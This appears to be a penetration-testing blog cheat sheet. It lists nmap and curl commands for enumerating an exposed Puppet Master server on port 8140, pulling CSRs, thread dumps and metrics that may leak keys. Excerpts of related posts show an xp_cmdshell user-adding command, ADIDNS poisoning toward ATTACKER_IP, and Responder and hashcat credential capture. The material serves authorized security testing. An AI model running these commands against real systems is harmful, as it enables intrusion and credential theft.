Skip to main content

Puppet Master Server - Port 8140

 

Checklist 

  • Check the version Vulnerabilities (get version from API)
  • Refer to this Tenable Article
  • Check for Puppet Naive autosigning enabled --> should be disabled
    • you can scan it by via "nmap -p8140 --script puppet-naivesigning -sV 10.10.10.10"
    • nmap -sSVC --privileged -vvv --reason -p 8140 --script puppet-naivesigning --script-args puppet-naivesigning.csr=/path/to/csr.pem,puppet-naivesigning.env=production,puppet-naivesigning.node=DomainnameOfAppServerControlledByPuppet 10.10.10.10
  • Look for unauthenticated API Access
  • If API is accessible, run all commands to get Sensitive info
  • Run this script Puppet_Pentest.py to Run most of the below commands at once.
#Check whether Puppet Server is running on a server or not
https://10.10.10.10:8140/status/v1/simple

#Puppet Service Information - Check Services info (Agents)
curl -k -X GET https://PUPPET-SERVER:8140/status/v1/services

#Retrieve information about services running on Puppet Server
https://10.10.10.10:8140/status/v1/services?level=debug

#V2 Version 
curl -k -X GET https://PUPPET-SERVER:8140/metrics/v2/version

#list features
curl -k -X GET https://PUPPET-SERVER:8443/features

# Authorization 
curl -Lks https://10.10.10.10:8140/puppet
curl -Lks https://10.10.10.10:8140/puppet-ca

#Metrics Example 
curl -kLs https://10.10.10.10:8140/metrics/v2/read/java.util.logging:type=Logging/LoggerNames 

#list the available options
curl -Lks https://10.10.10.10/metrics/v2/list

curl -Lks https://10.10.10.10:8140/metrics/v2/read/java.lang:name=*,type=GarbageCollector/CollectionCount,CollectionTime

curl -Lks https://10.10.10.10:8140/metrics/v2/read/<MBEAN NAMES>/<ATTRIBUTES>/<OPTIONAL INNER PATH FILTER>

Puppet V1 Certificate Request

Get more info from here

#Get CSR of a known Node
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_request/puppet

#Requests a TLS client certificate signing (CSR) from the Puppet CA service
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_request/:nodename?environment=:environment

#Retrieve all CSR's
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_requests/ignored

#Certificate Revocation List
curl -Lks https://10.10.10.10:8140/puppet-ca/v1/certificate_revocation_list/ca
Puppet Admin API 

#Retrieve a Ruby thread dump for each JRuby instance registered to the pool
https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump

curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/environment-cache
curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool
curl -Lks https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump

#Retrieve a specific version of a file at a given environment and path
https://10.10.10.10:8140//puppet/v3/static_file_content/modules/example/files/data.txt?code_id=urn:puppet:code-id:1:67eb71417fbd736a619c8b5f9bfc0056ea8c53ca;production&environment=production'

V1 Metrics

#V1 API  --> displays crazy lot of info along with ssh keys and system info
#search for specific functions using regex "(.*):type=*"
curl -vkLs https://10.10.10.10:8140/metrics/v1/mbeans -o output.html

#list based on the required key 
curl -kLs https://10.10.1.0:8140/metrics/v1/mbeans/java.lang:type=Memory


curl -X POST \
   -H "Content-Type: application/json" \
   -d '["puppetlabs.puppetdb.storage:name=replace-facts-time", "puppetlabs.puppetdb.storage:name=replace-catalog-time"]' \
   http://10.10.10.10:8080/metrics/v1/mbeans

keys: 
java.lang:type=MemoryPool
java.lang:type=MemoryManager
java.lang:type=Memory
java.lang:type=GarbageCollector
java.lang:type=ClassLoading
java.lang:type=Compilation
type=internalsslcontextfactory
JMImplementation:type=MBeanServerDelegate
java.nio:type=BufferPool
jolokia:type=Config
jolokia:type=Discovery
jolokia:type=ServerHandler
V3 API 

curl -Lks https://10.10.10.10:8140/puppet/v3/catalog/
When you got the cert, key and cacert from the server, run below 

curl -si --cert  --key  --cacert  -X GET https://10.10.10.10:8140/puppet-admin-api/v1/jruby-pool/thread-dump

for more into check this 




Comments

Popular posts from this blog

SQL DB & SQL Injection Pentest Cheat Sheet

1) MSSQL Injection Cheat Sheet | pentestmonkey 2) xp_cmdshell | Red Team tales 3) PentesterMonkey SQL Injection Cheatsheet Use dbeaver for GUI Access 4) SQL Injection Explanation | Graceful Security Common Ports Microsoft SQL: 1433/TCP (default listener) 1434/UDP (browser service) 4022/TCP (service broker) 5022/TCP (AlwaysOn High Availability default) 135/TCP (Transaction SQL Debugger) 2383/TCP (Analysis Services) 2382/TCP (SQL Server Browser Service) 500,4500/UDP (IPSec) 137-138/UDP (NetBios / CIFS) 139/TCP (NetBios CIFS) 445/TCP (CIFS) Oracle SQL: 1521/TCP 1630/TCP 3938/HTTP MongoDB : 27017,27018,27019/TCP PostgreSQL: 8432/TCP MySQL: 3306/TCP SQL DB Enum with nmap: nmap -p 1433 —script ms-sql-info —script-args mssql.instance-port=1433 IP_ADDRESS nmap -Pn -n -sS —script=ms-sql-xp-cmdshell.nse IP_ADDRESS -p1433 —script-args mssql.username=sa,mssql.password=password,ms-sql-xp-cmdshell.cmd="net user bhanu bhanu123 /add" nmap -Pn -n -sS —script=ms-sql-xp-cmds

Windows Priv Escallation

1.     Windows Privilege Escalation Commands  _ new 2.     Transferring Files to Windows 3.    Priv Esc Commands 4.    Priv Esc Guide  5.    Payload All the Things --> great Coverage 6.    WinRM -- Windows Priv Esc    7. Newb Guide - Windows Pentest    8. Kerberos Attacks Explained     9. How to Attack Kerberos 101    Use PowerSploit/PrivEsc/Powerup.ps1 to find some potential info check for Non-windows processes in windows using netstat Step 1: Check net user and admin and user rights Step 2: Check if we have access of powershell if yes then run powerup.ps1,sherlock.ps1 and JAWS.ps1. Step 3: Try to get Meterpreter. Step 4: Load mimikatz ,try bypass UAC , check SAM SYSTEM etc. Step 5: check for weird programs and registry. Step 6: If the box is Domain Controller - Enum - Enum SMB Users/Ldap Users/ Blood Hound - GUI AD Enum & Kerberos Enum - Bruteforce   Atacking AD with LDAP & kerberos      Step 7: Got Creds - try psexec.py or crackm

Relay Attacks

Hash Hashcat Attack method LM 3000 crack/pass the hash NTLM/NTHash 1000 crack/pass the hash NTLMv1/Net-NTLMv1 5500 crack/relay attack NTLMv2/Net-NTLMv2 5600 crack/relay attack Abusing ADIDNS to Send traffic to the target #Send DNS traffic to the attacker machine, so that we can relay the traffic and gain access to target machines/hashes Import-Module ./ Powermad.ps1 PowerShell New-ADIDNSNode -Node * -Data 'ATTACKER_IP' -Verbose #assign permissions to the ADIDNS Powershell Grant-ADIDNSPermission -Node * -Principal "Authenticated Users" -Access GenericAll -Verbose Capturing Hashes using responder and cracking hashes #Find the interface of the IP (see via route table) ip route get 10.10.10.10 #start responder sudo proxychains responder -I tun0 -v #Start responder with WPAD Enabled and try to download NTLM hashes if any found python3 Responder.py -I ens160 -wFb -v --lm --disable-ess #Crack the hashes using hashcat hashcat -m 5600 -a 0 hash rockyou.txt -r /usr/share/